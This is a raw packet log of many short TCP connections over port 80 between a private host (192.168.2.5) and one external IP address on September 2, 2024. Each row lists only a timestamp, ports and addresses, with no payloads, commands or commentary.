Sep 2, 2024 00:00:26.498008013 CEST	49982	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.502774954 CEST	80	49982	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:26.716754913 CEST	80	49982	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:26.763490915 CEST	49982	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.841093063 CEST	80	49982	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:26.888570070 CEST	49982	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.963617086 CEST	49979	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.964595079 CEST	49982	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.964600086 CEST	49983	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.969405890 CEST	80	49983	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:26.969448090 CEST	49984	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.969517946 CEST	80	49982	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:26.969551086 CEST	49983	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.969634056 CEST	49983	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.969706059 CEST	49982	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.974246025 CEST	80	49984	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:26.974358082 CEST	80	49983	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:26.974383116 CEST	49984	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.974925041 CEST	49984	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:26.979707956 CEST	80	49984	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:27.326160908 CEST	49984	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:27.326163054 CEST	49983	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:27.331140041 CEST	80	49984	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:27.331151009 CEST	80	49984	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:27.331161022 CEST	80	49983	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:27.545605898 CEST	80	49983	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:27.568748951 CEST	80	49984	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:27.673453093 CEST	80	49983	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:27.676084042 CEST	49983	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:27.676085949 CEST	49984	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:27.683418036 CEST	80	49984	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:27.690629005 CEST	49984	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:27.803949118 CEST	49983	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:27.804347992 CEST	49985	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:28.197515011 CEST	49983	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:28.813622952 CEST	49985	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:28.826019049 CEST	49983	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:28.832272053 CEST	80	49985	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:28.832307100 CEST	80	49983	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:28.832315922 CEST	80	49985	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:28.832324982 CEST	80	49983	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:28.832334995 CEST	80	49983	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:28.832406044 CEST	49985	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:28.832448959 CEST	49985	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:28.832590103 CEST	49983	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:28.832880974 CEST	49985	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:28.837580919 CEST	80	49985	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:29.185549974 CEST	49985	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:29.190438986 CEST	80	49985	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:29.407771111 CEST	80	49985	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:29.453851938 CEST	49985	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:30.561830997 CEST	80	49985	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:30.563281059 CEST	80	49985	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:30.563333988 CEST	49985	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:30.563997984 CEST	80	49985	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:30.564037085 CEST	49985	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:30.685321093 CEST	49986	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:31.102529049 CEST	80	49985	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:31.105814934 CEST	49985	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:31.491347075 CEST	80	49986	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:31.493738890 CEST	49986	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:31.493855000 CEST	49986	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:31.711734056 CEST	80	49986	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:31.841758013 CEST	49986	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:31.846586943 CEST	80	49986	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:32.287893057 CEST	80	49986	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:32.414424896 CEST	80	49986	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:32.414500952 CEST	49986	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:32.550343037 CEST	49986	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:32.550955057 CEST	49987	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:32.555445910 CEST	80	49986	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:32.555501938 CEST	49986	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:32.555773020 CEST	80	49987	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:32.555830002 CEST	49987	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:32.556031942 CEST	49987	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:32.560791969 CEST	80	49987	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:32.725970030 CEST	49987	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:32.774105072 CEST	80	49987	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:32.873893023 CEST	49988	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:32.878755093 CEST	80	49988	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:32.881880045 CEST	49988	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:32.885859013 CEST	49988	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:32.890968084 CEST	80	49988	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:32.973536015 CEST	80	49987	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:32.977632999 CEST	49987	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.075930119 CEST	49985	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.080377102 CEST	49989	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.085256100 CEST	80	49989	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:33.085671902 CEST	49989	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.092711926 CEST	49989	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.097598076 CEST	80	49989	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:33.233690977 CEST	49988	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.242096901 CEST	80	49988	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:33.242105961 CEST	80	49988	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:33.451077938 CEST	49989	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.454786062 CEST	80	49988	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:33.455991983 CEST	80	49989	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:33.501715899 CEST	49988	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.582077980 CEST	80	49988	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:33.622847080 CEST	49988	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.666963100 CEST	80	49989	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:33.733791113 CEST	49989	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.793950081 CEST	80	49989	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:33.861262083 CEST	49989	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.918123960 CEST	49988	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.918227911 CEST	49989	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.918499947 CEST	49990	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.923294067 CEST	80	49990	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:33.923356056 CEST	49990	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.923393011 CEST	80	49988	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:33.923438072 CEST	49988	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.923489094 CEST	49990	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.924040079 CEST	80	49989	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:33.924081087 CEST	49989	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:33.928224087 CEST	80	49990	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:34.279153109 CEST	49990	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:34.591598034 CEST	49990	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:35.020052910 CEST	80	49990	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:35.021210909 CEST	80	49990	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:35.021286011 CEST	49990	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:35.025149107 CEST	80	49990	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:35.025263071 CEST	80	49990	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:35.183957100 CEST	80	49990	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:35.185928106 CEST	49990	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:35.191576004 CEST	80	49990	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:35.193794966 CEST	49990	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:35.306287050 CEST	49991	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:35.311372995 CEST	80	49991	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:35.311568975 CEST	49991	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:35.311703920 CEST	49991	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:35.316585064 CEST	80	49991	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:35.670068979 CEST	49991	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:35.675561905 CEST	80	49991	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:35.887022972 CEST	80	49991	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:35.940201998 CEST	49991	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.013015032 CEST	80	49991	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:36.092087984 CEST	49991	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.136485100 CEST	49991	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.136734009 CEST	49992	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.141768932 CEST	80	49991	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:36.141822100 CEST	49991	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.141951084 CEST	80	49992	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:36.142004013 CEST	49992	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.142146111 CEST	49992	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.147670031 CEST	80	49992	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:36.497971058 CEST	49992	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.505496025 CEST	80	49992	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:36.718223095 CEST	80	49992	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:36.763525009 CEST	49992	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.848674059 CEST	80	49992	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:36.891638994 CEST	49992	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.962795019 CEST	49993	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.962795973 CEST	49992	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.967665911 CEST	80	49993	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:36.967804909 CEST	49993	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.968060017 CEST	49993	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.968240023 CEST	80	49992	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:36.968313932 CEST	49992	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:36.972873926 CEST	80	49993	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:37.206635952 CEST	80	49992	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:37.207705975 CEST	49992	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:37.212825060 CEST	80	49992	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:37.327635050 CEST	49993	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:37.332545042 CEST	80	49993	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:37.572594881 CEST	80	49993	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:37.706393003 CEST	80	49993	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:37.706494093 CEST	49993	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:37.825867891 CEST	49993	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:37.826617956 CEST	49994	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:37.831017017 CEST	80	49993	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:37.831069946 CEST	49993	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:37.831370115 CEST	80	49994	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:37.831429958 CEST	49994	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:37.831624985 CEST	49994	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:37.836416960 CEST	80	49994	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:38.185451031 CEST	49994	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:38.190376043 CEST	80	49994	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:38.592514038 CEST	49994	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:38.592583895 CEST	49995	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:38.665324926 CEST	80	49994	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:38.665380001 CEST	49994	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:38.666070938 CEST	80	49994	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:38.666126013 CEST	49994	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:38.666161060 CEST	80	49994	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:38.666215897 CEST	49994	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:38.667129993 CEST	80	49995	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:38.667181015 CEST	80	49994	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:38.667196989 CEST	49995	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:38.667223930 CEST	49994	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:38.667304993 CEST	49995	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:38.672171116 CEST	80	49995	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:38.712867022 CEST	49996	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:38.717611074 CEST	80	49996	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:38.717686892 CEST	49996	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:38.717747927 CEST	49996	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:38.722624063 CEST	80	49996	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:39.013626099 CEST	49995	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:39.018661022 CEST	80	49995	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:39.018678904 CEST	80	49995	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:39.077063084 CEST	49996	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:39.081980944 CEST	80	49996	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:39.244034052 CEST	80	49995	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:39.420018911 CEST	49995	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:39.462162971 CEST	80	49996	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:39.462651968 CEST	80	49995	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:39.462860107 CEST	80	49995	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:39.462893963 CEST	80	49996	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:39.462935925 CEST	49995	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:39.462963104 CEST	80	49996	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:39.462997913 CEST	49996	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:39.463083982 CEST	49996	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:39.587686062 CEST	49995	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:39.587687969 CEST	49996	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:39.588046074 CEST	49997	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:39.592816114 CEST	80	49997	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:39.592875957 CEST	80	49996	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:39.592905045 CEST	49997	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:39.592926979 CEST	80	49995	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:39.592955112 CEST	49996	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:39.592978001 CEST	49995	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:39.593190908 CEST	49997	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:39.597923040 CEST	80	49997	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:39.951164007 CEST	49997	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:39.956051111 CEST	80	49997	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:40.164772034 CEST	80	49997	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:40.216608047 CEST	49997	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:40.288811922 CEST	80	49997	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:40.289055109 CEST	49997	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:40.298985958 CEST	80	49997	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:40.299036026 CEST	49997	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:40.419977903 CEST	49998	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:40.427472115 CEST	80	49998	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:40.427536964 CEST	49998	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:40.427659988 CEST	49998	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:40.435249090 CEST	80	49998	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:40.779248953 CEST	49998	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:40.784142971 CEST	80	49998	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:41.002034903 CEST	80	49998	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:41.124738932 CEST	80	49998	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:41.131650925 CEST	49998	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:41.243352890 CEST	49999	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:41.243351936 CEST	49998	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:41.248259068 CEST	80	49999	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:41.248415947 CEST	80	49998	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:41.250210047 CEST	49998	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:41.250211954 CEST	49999	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:41.250298977 CEST	49999	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:41.255129099 CEST	80	49999	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:41.607584953 CEST	49999	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:41.612438917 CEST	80	49999	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:41.826042891 CEST	80	49999	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:41.872840881 CEST	49999	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:41.949405909 CEST	80	49999	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:41.997850895 CEST	49999	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:42.075207949 CEST	49999	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:42.075633049 CEST	50000	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:42.239166021 CEST	80	50000	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:42.239177942 CEST	80	49999	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:42.239258051 CEST	49999	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:42.239269972 CEST	50000	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:42.242712975 CEST	50000	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:42.247540951 CEST	80	50000	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:42.591720104 CEST	50000	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:42.596591949 CEST	80	50000	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:42.816685915 CEST	80	50000	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:42.921900034 CEST	50000	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:42.948925972 CEST	80	50000	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:43.029922962 CEST	50000	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.073875904 CEST	50000	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.073879004 CEST	50001	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.078789949 CEST	80	50001	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:43.079062939 CEST	80	50000	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:43.079200983 CEST	50001	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.079216957 CEST	50000	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.081696987 CEST	50001	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.086515903 CEST	80	50001	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:43.435451984 CEST	50001	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.444643021 CEST	80	50001	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:43.656255007 CEST	80	50001	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:43.700982094 CEST	50001	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.780749083 CEST	80	50001	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:43.825975895 CEST	50001	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.902503967 CEST	50001	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.902894974 CEST	50002	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.903789043 CEST	49951	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.913947105 CEST	80	50002	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:43.914016008 CEST	50002	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.914127111 CEST	50002	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.914206982 CEST	80	50001	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:43.914252996 CEST	50001	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:43.925539970 CEST	80	50002	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:44.263603926 CEST	50002	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:44.269498110 CEST	80	50002	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:44.467497110 CEST	50002	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:44.467581034 CEST	50003	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:44.472392082 CEST	80	50003	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:44.472451925 CEST	50003	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:44.472548962 CEST	50003	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:44.472589016 CEST	80	50002	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:44.472707033 CEST	50002	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:44.477421999 CEST	80	50003	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:44.589037895 CEST	50004	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:44.594206095 CEST	80	50004	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:44.594265938 CEST	50004	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:44.594363928 CEST	50004	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:44.603876114 CEST	80	50004	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:44.826069117 CEST	50003	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:44.832144976 CEST	80	50003	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:44.833161116 CEST	80	50003	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:44.955619097 CEST	50004	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:44.960614920 CEST	80	50004	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:45.283051014 CEST	80	50003	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:45.283373117 CEST	80	50004	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:45.283384085 CEST	80	50003	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:45.284331083 CEST	80	50003	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:45.284385920 CEST	50003	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:45.290261984 CEST	50003	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:45.308676004 CEST	80	50004	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:45.315656900 CEST	50004	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:45.431257010 CEST	50004	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:45.431266069 CEST	50003	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:45.431762934 CEST	50005	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:45.439590931 CEST	80	50005	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:45.439960957 CEST	80	50004	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:45.440089941 CEST	50004	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:45.440093994 CEST	50005	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:45.440213919 CEST	50005	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:45.440526009 CEST	80	50003	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:45.443037033 CEST	50003	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:45.445178986 CEST	80	50005	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:45.797980070 CEST	50005	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:45.810903072 CEST	80	50005	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:46.022804976 CEST	80	50005	94.158.244.70	192.168.2.5
